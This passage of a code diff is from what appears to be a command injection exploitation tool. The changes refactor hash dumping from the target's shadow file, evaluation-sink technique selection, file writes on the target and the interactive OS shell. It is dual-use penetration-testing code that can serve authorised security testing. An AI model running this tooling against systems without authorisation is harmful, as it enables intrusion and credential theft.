no_user_enumeration_permission() + else: if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Operating system" @@ -2951,29 +3047,33 @@ def print_passes(sys_passes, filename, _, interpreter): if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + """ + Worked out before the count is announced. Most accounts carry no hash - a '*' or a '!' where + one would be - and those lines are not printed, so counting every line read gave a heading of + forty-five above a list of two. + """ + usable = [] + malformed = False + for line in sys_passes: + fields = line.split(":") if ":" in line else [] + if len(fields) < 2: + malformed = malformed or bool(line) + continue + if "*" not in fields[1] and "!" not in fields[1] and fields[1] != "": + usable.append((fields[0], fields[1])) + if malformed: + warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, exporting it as a text file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) info_msg = "Operating system" - info_msg += " user" + ('s', '')[len(sys_passes) == 1] - info_msg += " password hashes [" + str(len(sys_passes)) + "]:" + info_msg += " user" + ('s', '')[len(usable) == 1] + info_msg += " password hashes [" + str(len(usable)) + "]:" settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="passwords") - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + fields[0] + ":" + fields[1]) - logs.add_line(filename, " * " + fields[0] + ":" + fields[1], group="passwords") - logs.report_add_enumeration("passwords", {"username": fields[0], "hash": fields[1]}) - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, exporting it as a text file." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.print_data_to_stdout(fields[0]) - logs.add_line(filename, " " + fields[0], group="passwords") + for username, digest in usable: + settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + username + ":" + digest) + logs.add_line(filename, " * " + username + ":" + digest, group="passwords") + logs.report_add_enumeration("passwords", {"username": username, "hash": digest}) else: err_msg = "Unable to retrieve the password hashes for the operating system users." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) @@ -3187,14 +3287,14 @@ def file_readable(separator, timesec, http_request_method, url, vuln_parameter, if settings.TARGET_OS == settings.OS.WINDOWS: return True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + payloads = time_based_payloads() else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + payloads = tempfile_based_payloads() payload = payloads.condition_check(separator, "-s " + file_to_read, timesec, http_request_method) if payload is None: return True exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - return time_related_shell(url_time_response, exec_time, timesec) + return time_related_shell(exec_time, timesec) """ File read status @@ -3893,7 +3993,7 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ def min_safe_timesec(): # Scale the floor by confirmed instability. if settings.UNSTABLE_REQUEST_CHOICE: - min_safe_delay = max(settings.MIN_SAFE_TIMESEC_UNSTABLE, settings.UNSTABLE_REQUEST_BUMPS) + min_safe_delay = settings.MIN_SAFE_TIMESEC_UNSTABLE + settings.UNSTABLE_REQUEST_BUMPS else: min_safe_delay = settings.MIN_SAFE_TIMESEC if settings.URL_TIME_RESPONSE: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f8c8c486b0..23165dbbcb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -170,12 +170,14 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites return response, url """ -Announce what the heuristic found. One wording for every channel it can come back over - which one -answered is the technique's business, not something to commit to while still guessing. +Announce what the heuristic found. One wording for every channel it can come back over, and for +either sink - which technique answered is the technique's business, not something to commit to +while still guessing. All the heuristic is entitled to add is what it happened to learn on the way, +which goes in the parenthesis its caller hands over. """ -def announce_heuristic_finding(possible_os): +def announce_heuristic_finding(detail): info_msg = "Heuristic (basic) test shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible operating system: '" + possible_os + "')." + info_msg += settings.CHECKING_PARAMETER + " might be injectable (" + detail + ")." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) """ @@ -207,8 +209,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.IDENTIFIED_COMMAND_INJECTION = True possible_os = ('Unix-like shell', 'Windows')[_ != 1] checks.set_target_os(possible_os) - announce_heuristic_finding(possible_os) - settings.SKIP_CODE_INJECTIONS = True + announce_heuristic_finding("possible operating system: '" + possible_os + "'") + # A shell answering here says nothing about whether a string is also evaluated as + # code, so it settles the question only where the code injection sink was not asked + # for by name - otherwise every technique carrying it would skip itself, and the run + # would report "not injectable" without having sent one of their payloads. + if not menu.options.eval_sink: + settings.SKIP_CODE_INJECTIONS = True break settings.CLASSIC_STATE = False @@ -299,7 +306,7 @@ def _http_first(): return url if not menu.options.os: settings.TARGET_OS = target_os - announce_heuristic_finding("Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like shell") + announce_heuristic_finding("possible operating system: '" + ("Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like shell") + "'") return url """ @@ -307,9 +314,9 @@ def _http_first(): """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, place): check_parameter = check_parameter.lstrip().rstrip() - injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE - # Named the way a finding is, so the heuristic and what it leads to read as the one thing. - technique = checks.technique_label(injection_type, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE) + # What the probe answered with, where it answered at all. A complaint from the interpreter says + # the string was evaluated without saying by which version, so the language is all there is. + detail = "possible evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" settings.EVAL_BASED_STATE = True try: whitespace = settings.SINGLE_WHITESPACE @@ -320,7 +327,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p html_data = checks.process_page_content(response, action="decode") match = re.search(settings.EVAL_PROBE_REGEX, html_data) if match: - technique = technique + " (possible PHP version: '" + match.group(1) + "')" + detail = "possible " + settings.EVAL_GRAMMAR.LABEL + " version: '" + match.group(1) + "'" settings.IDENTIFIED_EVAL_PROBE = True else: for warning in settings.EVAL_WARNINGS: @@ -328,9 +335,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE: - info_msg = "Heuristic (basic) test shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + announce_heuristic_finding(detail) # Code injection is tested only where it was asked for, so what the heuristic saw is # named, the switch that would act on it is named too, and the run carries on testing # for command injection either way. @@ -354,11 +359,32 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p """ Run one technique via the given exploit() callable, updating its own state flag in settings - the shared skeleton behind the 4 functions below. """ +""" +Run one attempt of an evaluation-sink technique per language. + +Nothing the target says identifies the language evaluating the string, so where '--eval' named none, +each supported one is tried in turn until one answers. Where it named one, that is the only one +tried. The grammar is left pointing at whichever language answered, so the exploitation that follows +speaks the same one the detection did. +""" +def _run_over_languages(exploit): + if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: + return exploit() != False + languages = settings.SUPPORTED_EVAL_LANGUAGES + for language in languages: + settings.set_eval_grammar(language) + if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if exploit() != False: + return True + return False + def run_technique(injection_type, technique, state_name, skip_flag_name, tech_letter, exploit, eval_sink=False): setattr(settings, state_name, None) if not getattr(settings, skip_flag_name): if checks.technique_selected(tech_letter, eval_sink): - setattr(settings, state_name, exploit() != False) + setattr(settings, state_name, _run_over_languages(exploit) if eval_sink else exploit() != False) state = getattr(settings, state_name) if state == None or getattr(settings, skip_flag_name): checks.skipping_technique(technique, injection_type, state) @@ -393,21 +419,30 @@ def exploit(): """ Check if it's exploitable via time-based command injection technique. """ -def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = settings.INJECTION_TYPE.BLIND +def timebased_technique(url, timesec, filename, http_request_method, url_time_response): + # The delay proves execution either way - what the sink changes is only whether the payload is + # written in the shell's language or in the one the target evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.TIME_BASED def exploit(): result = tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) - if result != False: + if result != False and not eval_sink: settings.IDENTIFIED_COMMAND_INJECTION = True return result - run_technique(injection_type, technique, "TIME_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "t", exploit) + # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not + # by the flag that skips command injection, which the code injection heuristic sets on its way past. + skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS" + run_technique(injection_type, technique, "TIME_BASED_STATE", skip_flag, "t", exploit, eval_sink=eval_sink) """ Check if it's exploitable via file-based command injection technique. """ def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = settings.INJECTION_TYPE.SEMI_BLIND + # The file proves execution either way - what the sink changes is only whether the command that + # fills it is reached through a shell or through the string the target evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.SEMI_BLIND_CE if eval_sink else settings.INJECTION_TYPE.SEMI_BLIND technique = settings.INJECTION_TECHNIQUE.FILE_BASED def exploit(): if settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED in settings.STORED_TECHNIQUES \ @@ -416,10 +451,13 @@ def exploit(): result = tfb_handler.exploitation(url, timesec, filename, checks.default_tmp_path(), http_request_method, url_time_response) else: result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) - if result != False: + if result != False and not eval_sink: settings.IDENTIFIED_COMMAND_INJECTION = True return result - run_technique(injection_type, technique, "FILE_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "f", exploit) + # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not + # by the flag that skips command injection, which the code injection heuristic sets on its way past. + skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS" + run_technique(injection_type, technique, "FILE_BASED_STATE", skip_flag, "f", exploit, eval_sink=eval_sink) """ Check if it's exploitable via out-of-band technique. @@ -610,13 +648,20 @@ def build(value): """ def injection_process(url, check_parameter, http_request_method, filename, timesec, place): settings.NOT_TESTABLE_PARAMETERS = False + # Bound here rather than where the techniques run: the parameter may be skipped before reaching + # them, and the loop over operating systems below reads this either way. + end_detection = False check_parameter_dynamism(url, http_request_method, check_parameter) url = attempt_skip_testable_value(url, http_request_method, check_parameter) - os_targets = ([settings.TARGET_OS] if settings.TARGET_OS else - list(vars(settings.OS).values())[:settings.OS_CHECKS_NUM] if settings.CHECK_BOTH_OS else - [settings.TARGET_OS or list(vars(settings.OS).values())[0]]) + # Both, where the target's own answer did not identify one - that being what the question asked. + # Taken by name: the class carries more attributes than the two, so slicing them handed back a + # module path as an operating system. + if settings.CHECK_BOTH_OS: + os_targets = [settings.OS.UNIX, settings.OS.WINDOWS][:settings.OS_CHECKS_NUM] + else: + os_targets = [settings.TARGET_OS or settings.OS.UNIX] # Loop over the selected OS targets for os_target in os_targets: @@ -708,7 +753,10 @@ def _ensure_time_warmup(): if menu.options.oob: url = oob_heuristic_basic(url, http_request_method, check_parameter, place) - if not settings.IDENTIFIED_COMMAND_INJECTION and checks.technique_selected("c", eval_sink=menu.options.eval_sink): + # What this looks for is the sink, not a technique, so which technique will carry it has no + # bearing on whether it is worth looking - and where the switch was not given at all, this + # is what offers it. + if not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, place) except KeyboardInterrupt: @@ -733,8 +781,7 @@ def _ensure_time_warmup(): settings.HEURISTIC_TEST.POSITIVE = True else: if menu.options.failed_tries and \ - menu.options.tech and not "f" in menu.options.tech and not \ - menu.options.failed_tries: + menu.options.tech and not "f" in menu.options.tech: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "ignoring the option '--failed-tries'." @@ -756,13 +803,13 @@ def _time_related_resume_redundant(): def _run_time_based(): if _time_related_resume_redundant(): return - if checks.technique_selected("t"): + if checks.technique_selected("t", eval_sink=bool(menu.options.eval_sink)): _ensure_time_warmup() # A resumed finding is re-verified against its own full delay, so the model can wait # until the first command actually needs it. if not (settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TIME_BASED in settings.STORED_TECHNIQUES): checks.warm_up_response_baseline(url, http_request_method) - return timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + return timebased_technique(url, timesec, filename, http_request_method, url_time_response) def _run_file_based(): if _time_related_resume_redundant(): diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index b585ea2d2e..448a712d35 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -35,10 +35,10 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): injector = execution.select_injector(technique) - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME + # Chosen for this target, not written over the constant: these are read again for the next one. + cmd = settings.WIN_HOSTNAME if settings.TARGET_OS == settings.OS.WINDOWS else settings.HOSTNAME execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) - shell, fresh = execute_cmd(settings.HOSTNAME) + shell, fresh = execute_cmd(cmd) checks.print_hostname(shell, filename, settings.TIME_RELATED_ATTACK and fresh) """ @@ -46,9 +46,8 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): injector = execution.select_injector(technique) - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + # Chosen for this target, not written over the constant: these are read again for the next one. + cmd = settings.WIN_RECOGNISE_OS if settings.TARGET_OS == settings.OS.WINDOWS else settings.RECOGNISE_OS if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and interpreter: cmd = "cmd /c " + cmd execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) @@ -81,10 +80,10 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): injector = execution.select_injector(technique) - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER + # Chosen for this target, not written over the constant: it is read again for the next one. + cmd = settings.WIN_CURRENT_USER if settings.TARGET_OS == settings.OS.WINDOWS else settings.CURRENT_USER execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) - cu_account, fresh = execute_cmd(settings.CURRENT_USER) + cu_account, fresh = execute_cmd(cmd) checks.print_current_user(cu_account, filename, settings.TIME_RELATED_ATTACK and fresh) """ @@ -98,7 +97,16 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) - trim_marker = lambda shell: shell.replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] + """ + Undo the padding the Windows interpreter payload writes around its output, and only that. + + Nothing else pads, and taking a character off either end regardless turned a user id of '0' into + an empty string - root, reported as having no elevated privileges. + """ + def trim_marker(shell): + if shell.startswith(settings.SINGLE_WHITESPACE) and shell.endswith(settings.SINGLE_WHITESPACE): + return shell.strip() + return shell execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess=trim_marker) shell, fresh = execute_cmd(cmd) checks.print_current_user_privs(shell, filename, settings.TIME_RELATED_ATTACK and fresh) diff --git a/src/core/injections/controller/execution.py b/src/core/injections/controller/execution.py index 406965e394..86876ae878 100644 --- a/src/core/injections/controller/execution.py +++ b/src/core/injections/controller/execution.py @@ -42,9 +42,9 @@ def select_injector(technique): """ def select_payloads_module(technique): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + payloads = checks.time_based_payloads() else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + payloads = checks.tempfile_based_payloads() return payloads """ @@ -69,11 +69,16 @@ def windows_transform_cmd(cmd, technique, interpreter): """ Build a cache-less execute_cmd(cmd) -> output callback around the injector model, for callers (e.g. file writes) where re-running the command every time is required, not an optimization to skip. """ -def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=lambda shell: shell, catch_time_error=False): +def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=lambda shell: shell, catch_time_error=False, results_based_injector=False): + """ + 'results_based_injector' is for a caller that has swapped in the classic injector under a + time-related technique - the Windows file write does. How the command is sent is the injector's + to say, and calling a results-based one with the time-related argument list raises TypeError. + """ def execute_cmd(cmd): if technique == settings.INJECTION_TECHNIQUE.OOB: return injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) - if settings.TIME_RELATED_ATTACK: + if settings.TIME_RELATED_ATTACK and not results_based_injector: try: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) @@ -85,7 +90,7 @@ def execute_cmd(cmd): shell = "" return postprocess_time(shell) else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and not results_based_injector: response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index d34c5569b6..ec89521392 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -25,16 +25,18 @@ """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): fresh_time = False + results_based_injector = False file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == settings.OS.WINDOWS: if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: injector = execution.select_injector(technique) else: injector = execution.select_injector(settings.INJECTION_TECHNIQUE.CLASSIC) + results_based_injector = True if settings.TIME_RELATED_ATTACK: whitespace = settings.WHITESPACES[0] fresh_time = True - fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, results_based_injector=results_based_injector) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) fire(cmd) cmd = checks.win_decode_b64_enc(fname, tmp_fname) @@ -52,9 +54,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = fire(cmd) cmd = checks.check_file(dest_to_write) if settings.TIME_RELATED_ATTACK: + # Whether the file arrived is asked either way. Verbosity decides whether a blank line is + # printed first, not whether the check runs - reported unverified, a write that succeeded was + # announced as missing, and one that failed as present. if settings.VERBOSITY_LEVEL == 0 and not fresh_time: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - shell = fire(cmd) + shell = fire(cmd) else: if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 88bb53abed..d6452d4b7a 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -177,7 +177,10 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c if not settings.READLINE_ERROR: checks.tab_autocompleter() try: - cmd = common.safe_input(settings.OS_SHELL) + # Trimmed before anything else: the tab completer leaves a space behind the word it + # completed, and that space would travel all the way into the payloads as part of the + # command - visible there, and read back as output the command never produced. + cmd = common.safe_input(settings.OS_SHELL).strip() if len(cmd) == 0: cmd = "use os_shell" cmd = checks.escaped_cmd(cmd) @@ -237,7 +240,9 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): def cleanup(): - if menu.options.os_shell and (technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + # The file is on the target because the technique put it there, whatever the run then did with + # it - so the offer to remove it does not wait on '--os-shell' having been the thing asked for. + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: # Registered here, actually asked/run later at quit(). settings.PENDING_FILE_CLEANUPS[OUTPUT_TEXTFILE] = lambda: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) @@ -279,9 +284,9 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE: return url, prefix if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_payloads as probe_payloads + probe_payloads = checks.time_based_payloads() else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as probe_payloads + probe_payloads = checks.tempfile_based_payloads() payload = probe_payloads.condition_check(separator, "1 -eq 1", timesec, http_request_method) if payload is None: return url, prefix @@ -305,10 +310,20 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me if settings.VERBOSITY_LEVEL != 0: debug_msg = "Replaying the delay against the random value '" + placeholder + "', to check if the real one is needed." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + """ + Sent inside the boundary the finding was made with, not bare. + + A separator breaks out of a shell on its own, so an empty prefix and suffix cost the command sink + nothing - but for an evaluation sink the boundary is the prefix and suffix, and without them the + payload lands in the string as text that is never evaluated. The probe then always reads "no + delay", and the optimisation it exists to make is never taken. + """ + confirmed = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + probe_prefix, probe_suffix = (confirmed[0], confirmed[1]) if confirmed else ("", "") try: - before = settings.TOTAL_OF_REQUESTS - exec_time, _, _, _, _ = requests.perform_injection("", "", whitespace, payload, vuln_parameter, http_request_method, url) - succeeded = not stability.request_was_retried(before) and checks.time_related_shell(url_time_response, exec_time, timesec) + before = stability.requests_sent() + exec_time, _, _, _, _ = requests.perform_injection(probe_prefix, probe_suffix, whitespace, payload, vuln_parameter, http_request_method, url) + succeeded = not stability.request_was_retried(before) and checks.time_related_shell(exec_time, timesec) except Exception: succeeded = False @@ -687,17 +702,15 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_injector as injector - from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + payloads = checks.time_based_payloads() else: from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + payloads = checks.tempfile_based_payloads() if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: _announce_technique(injection_type, technique) - prefixes = settings.PREFIXES - suffixes = settings.SUFFIXES - separators = settings.SEPARATORS + prefixes, suffixes, separators = checks.sink_boundaries() whitespaces = settings.WHITESPACES prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) @@ -800,8 +813,11 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim # Statistical analysis in time responses. exec_time_statistic.append(exec_time) - if not (num_of_chars >= total and no_result == True): - if checks.time_related_shell(url_time_response, exec_time, timesec): + # Every combination's timing is read, the later ones included: the attempt budget + # running low says nothing about whether this particular answer was delayed, and the + # combination that answers is often among the last to be tried. + if True: + if checks.time_related_shell(exec_time, timesec): # Time related false positive fixation. false_positive_fixation = False if len(TAG) == output_length: @@ -860,7 +876,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim else: exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) - if checks.time_related_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(exec_time, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True exec_time_statistic = 0 @@ -905,7 +921,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim break # Yaw, got shellz! # Do some magic tricks! - if checks.time_related_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(exec_time, timesec): if (len(TAG) == output_length) and (possibly_vulnerable == True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False @@ -965,20 +981,19 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject from src.core.injections.results_based.techniques.eval import eb_payloads as payloads else: from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + payloads = checks.file_based_payloads() # Calculate all possible combinations if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - for item in range(0, len(settings.EXECUTION_FUNCTIONS)): - settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" - settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS - prefixes = settings.EVAL_PREFIXES + # Built fresh rather than wrapped in place: this runs once per parameter, and rewriting the + # lists themselves would wrap what the previous parameter already wrapped - '${${exec((' by the + # second one, and a prefix list growing without bound behind it. Both lists reach the other two + # evaluation-sink techniques through 'sink_boundaries()', so the damage would not stay here. + prefixes = checks.eval_prefixes() suffixes = settings.EVAL_SUFFIXES separators = settings.EVAL_SEPARATORS else: - prefixes = settings.PREFIXES - suffixes = settings.SUFFIXES - separators = settings.SEPARATORS + prefixes, suffixes, separators = checks.sink_boundaries() if settings.TARGET_OS == settings.OS.WINDOWS: # Dropped up front, so the attempt count reflects what cmd.exe can actually chain on. separators = [_separator for _separator in separators if checks.windows_separator(_separator) is not None] @@ -996,10 +1011,20 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and int(menu.options.failed_tries) >= total: - # The temporary directory is offered after this many failed writes, so it has to be reachable - # however few boundary combinations there are to try - a Windows target leaves fewer. - menu.options.failed_tries = max(1, total - 1) + """ + After this many failed writes the temporary directory is offered instead of the web root. A set + of boundaries small enough to get through is gone through in full first: the one that answers is + as likely to be the last of them as any other, and stopping one short of it is what makes a + perfectly writable web root look unwritable. + + Worked out per technique and per target rather than written back to the option, whose value would + otherwise be the first boundary space to reach here - a Windows target leaves fewer combinations + than a Unix-like one, and the next target would be given up on before its own were exhausted. + """ + if menu.options.failed_tries is None: + failed_tries = min(total, settings.MAX_FAILED_TRIES) + else: + failed_tries = int(menu.options.failed_tries) for whitespace, prefix, suffix, separator in 